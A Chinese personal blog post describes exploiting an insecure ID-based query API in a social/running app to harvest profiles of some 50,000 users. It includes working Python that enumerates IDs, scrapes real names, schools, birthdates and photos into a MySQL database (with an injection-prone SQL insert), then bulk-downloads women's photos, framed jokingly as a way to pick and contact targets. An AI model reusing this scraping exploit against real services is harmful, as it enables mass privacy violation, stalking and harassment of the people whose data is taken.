记一次通过某软件的查询接口获取MM信息


0x01 前言

昨晚刚想掏出尘封多年的武林秘籍(线代)来学习时,听见室友在抱怨说:wing,上次你说的那个优雅的监听女友的方法然并卵啊,女朋友是啥?能吃吗?好吃吗?心疼的抱住自己。QAQ

wing

wing:亲,表哭,要坚强!你还记得我们平时最讨厌的那个软件吗?我们可以试着用这个来搞事情。

0x02 搞事开始

打开那个软件,里面有一个功能,就是约跑–跑步的跑,我点开了一个长得还不错的妹子的照骗,虽然是ps的,但是认命吧,骚年!
qq_pic_merged_1514018610951.jpg
MM是不是还行咩(联系方式我是不会给你们的,想都不要想!)

接下来该怎么做呢?emmm
掏出了神器burp,抓一波包。
我们来看看查询信息那个请求:
隐私
因为涉及到MM隐私,我必须全屏打码,hhhh。
图中可以看到,发送了一个get请求,请求的是partner的id,然后返回的是MM的个人信息。unicode编码的,后面python处理的时候我会讲到。
于是我尝试更改不同的id,看能不能返回其他用户的信息,结果当然是ojbk,不然没有后面的故事了。
那么,py吧!
大体测了一下,好像有5w+的用户,当然不可能全部是MM,这是同性交友软件,呸,异性交流软件。
还有就是,软件里看到的信息和get请求发送的包返回的信息不一样,软件里面看不到姓名,但是在返回包里面能看到用户真实姓名以及用户在这个软件的唯一id。
在编写脚本之前,我想了想这东西存到哪?后面决定放数据库吧。
给个小tips,Python里面怎么将unicode转中文:

str = s.decode('unicode_escape')

输了一下,有20多个字段,但是有些并不是我想要的,我把想要的数据筛选出来,然后一个一个的split,累死我了。
image.png

脚本用到的库还是那几个:

# _*_ coding:utf-8 _*_
import requests
import re
import MySQLdb
import urllib2

先新建数据库,然后通过python新建表,核心代码如下:

 db = MySQLdb.connect('localhost','root','root','pu',charset="utf8")
            cursor = db.cursor()
            # createtable = """CREATE TABLE USER_DATA(
            #          userid  CHAR(100) NOT NULL,
            #          id  CHAR(100) NOT NULL,
            #          media_id  CHAR(100) NOT NULL,
            #          username  CHAR(100) NOT NULL,
            #          sex  CHAR(100) NOT NULL,
            #          home  CHAR(100) NOT NULL,
            #          imgurl  CHAR(100) NOT NULL,
            #          school  CHAR(100) NOT NULL,
            #          subject CHAR(100) NOT NULL,
            #          height  CHAR(100) NOT NULL,
            #          birth  CHAR(100) NOT NULL,
            #          star  CHAR(100) NOT NULL,
            #          introduce CHAR(100) NOT NULL,
            #          except_her  CHAR(100) NOT NULL,
            #          secter  CHAR(100) NOT NULL,
            #          head_url  CHAR(100) NOT NULL,
            #          is_sell  CHAR(100) NOT NULL
            #          )"""
            cursor.execute(createtable)
            db.close()
#因为时间原因,想早点睡觉,字段我就全char(100)了 ORZ

然后就是提取字段:

    for i in range(1,52020):
        url= "http://hackerwing.com?id=%s" % i
        req = requests.get(url=url,headers=headers)
        req1 = req.content.split(",")
        if u"xxoo" in req.content.decode("unicode_escape"):
            id =0
            media_id = 0
            username = 0
            sex = 0
            home = 0
            imgurl = 0
            school = 0
            subject = 0
            height = 0
            birth = 0
            star = 0
            introduce = 0
            except_her = 0
            secter = 0
            head_url = 0
            is_sell = 0
        else:
            id = req1[1][-8:].strip(":").strip('"')
            uid = req1[2].split(':')
            userid = uid[1].strip('"')
            str2 = req1[3].split(':')
            media_id = str2[1].strip('"')
            username = req1[-1].decode('unicode_escape').split(':')[1].strip('"').strip('}').strip('"').strip("\'")
            sex = req1[5].split(':')[1].strip('"')
            str3 = req1[4].decode("unicode_escape")
            home = str3.split(':')[1].strip('"').strip("'")
            imgurl = req1[6].split(":")[2].strip('\\').strip('"').strip('\\')      
            school =  req1[8].decode("unicode_escape").split(':')[1].strip(":").strip('"')
            subject = req1[9].decode('unicode_escape').split(':')[1].strip(':').strip('"')
            height =  req1[11].split(':')[1].strip('"')
            birth = req1[12].split(':')[1].strip('"')
            star =  req1[13].decode('unicode_escape').split(':')[1].strip('"')
            introduce = req1[14].decode('unicode_escape').split(':')[1].strip('"')
            except_her = req1[15].decode('unicode_escape')
            secter = req1[16]
            head_url = req1[-2]       
            is_sell = req1[-7].split(':')[1].strip('"')
上面xxoo那里的意思是防止查询出错,因为有些id是失效了的,会返回一个错误提示,若出现那个,我就把哪些字段全设置成0,跳过去。下面的就是数据筛选的,弄得我吐血,我想要的有17个字段。

数据入库:

   db = MySQLdb.connect('localhost','root','root','wing',charset="utf8")
            cursor = db.cursor()
            # creattable = """CREATE TABLE USER_DATA(
            #          userid  CHAR(100) NOT NULL,
            #          id  CHAR(100) NOT NULL,
            #          media_id  CHAR(100) NOT NULL,
            #          username  CHAR(100) NOT NULL,
            #          sex  CHAR(100) NOT NULL,
            #          home  CHAR(100) NOT NULL,
            #          imgurl  CHAR(100) NOT NULL,
            #          school  CHAR(100) NOT NULL,
            #          subject CHAR(100) NOT NULL,
            #          height  CHAR(100) NOT NULL,
            #          birth  CHAR(100) NOT NULL,
            #          star  CHAR(100) NOT NULL,
            #          introduce CHAR(100) NOT NULL,
            #          except_her  CHAR(100) NOT NULL,
            #          secter  CHAR(100) NOT NULL,
            #          head_url  CHAR(100) NOT NULL,
            #          is_sell  CHAR(100) NOT NULL
            #          )"""
            print id, media_id, username, sex, home, imgurl, school, subject, height, birth, star, introduce, except_her, secter, head_url, is_sell
            Insertsql = """
                INSERT INTO USER_DATA(
                userid,id,media_id,username,sex,home,imgurl,school,subject,height,birth,star,introduce,except_her,secter,head_url,is_sell)
           VALUES ('%s', '%s', '%s', '%s', '%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s' ) """ % (userid,id,media_id,username,sex,home,imgurl,school,subject,height,birth,star,introduce,except_her,secter,head_url,is_sell)
            cursor.execute(Insertsql)
            db.close()

image.png

0x03 搞事成果

我们来看看成果吧

image.png
怎么样,哈哈。
sex值为2的是妹子,为1的基佬。为0的是…妖怪吧,反正没有0的。
人家期待的对象以及身高之类的。
信安妹子其实还是蛮多的。
妹子

细心地兄dei(基佬)会发现我把headurl也保存了,也就是头像地址,那这样不就有一波妹子照片了吗,比什么煎蛋好多了。
id

有些id是失效的,so。爬取图片的脚本需要和之前一样做过滤。
先看看成果:
image.png
代码:

    for i in range(34563,43213):
        url= "http://bucunzaide?id=%s" % i
        req = requests.get(url=url,headers=headers)
        req1 = req.content.split(",")

        if u"失效的卡片" in req.content.decode("unicode_escape"):
            imgurl = 'http://hackering.com'
        # imgurl = urllib2.quote(img)
        else :
            sex = req1[5].split(':')[1].strip('"')
            if int(sex) == 2:
                print sex
                img = req1[6].split(':')[2].strip('"').replace('\\','')
                #保存图片啦!
                url = 'http:' + img
                print url
                urllib.urlretrieve(url,filename='C:\Users\wing\Desktop\pu/'+str(i)+'.jpg')

不对,我只要mm照片我不要男的。我又不是GAY!
image.png
骚等我去改改代码。
我去改改代码

尼玛,sex=2的才是女的,错了错了。

image.png
2DEF5DB4.jpg

2DEFAD6A.jpg

等等,我看到了竟然有人比我帅

竟然有人

不打码

好看的我尽量不打码满足你们内心的(禽兽)欲望。

喵喵喵
其实你们肯定想问了,这么多好看的妹子,有联系方式吗?
我想说,肯定有啊,但是这里就不公布了,那就属于高度隐私了。
想要?你想都不要想。
对了,我还可以专门筛选出信安妹子的照片,那个需要正则匹配一下。
筛选出来之后,就可以针对性的去找喜欢的妹子,联系方式问题不是很大,
但是这里不多说。

Summary

最后的总结:

我有一句话想问现在的朋友们,喜欢你的人和你喜欢的人你会选哪一个?
我想说,不管你喜欢谁, 如果没有绝对的把握,就别去害人害己。
自己一身的刺,就别想着去拥抱!

image.png

一个辣鸡的博客:hackerwing.com


   转载规则


《记一次通过某软件的查询接口获取MM信息》 Wing 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
i春秋圣诞节活动ctf题writeup大放送 i春秋圣诞节活动ctf题writeup大放送
WEB祝大家圣诞快乐!hhhhh | \/ | ___ _ __ _ __ _ _ | |\/| |/ _ \ '__| '__| | | | | | | | __/ | | | | |_| | |_
2017-12-24
下一篇 
windows常用hacker-command windows常用hacker-command
0X01 前言命令主要针对渗透测试人员,主要的功能有: 执行一些安全管理的任务 进行漏洞扫描 windows工具的升级 …… 测试已安装的补丁emmm,先介绍一下wmic吧。 WMIC扩展WMI(Windows Management
2017-12-20 Wing
  目录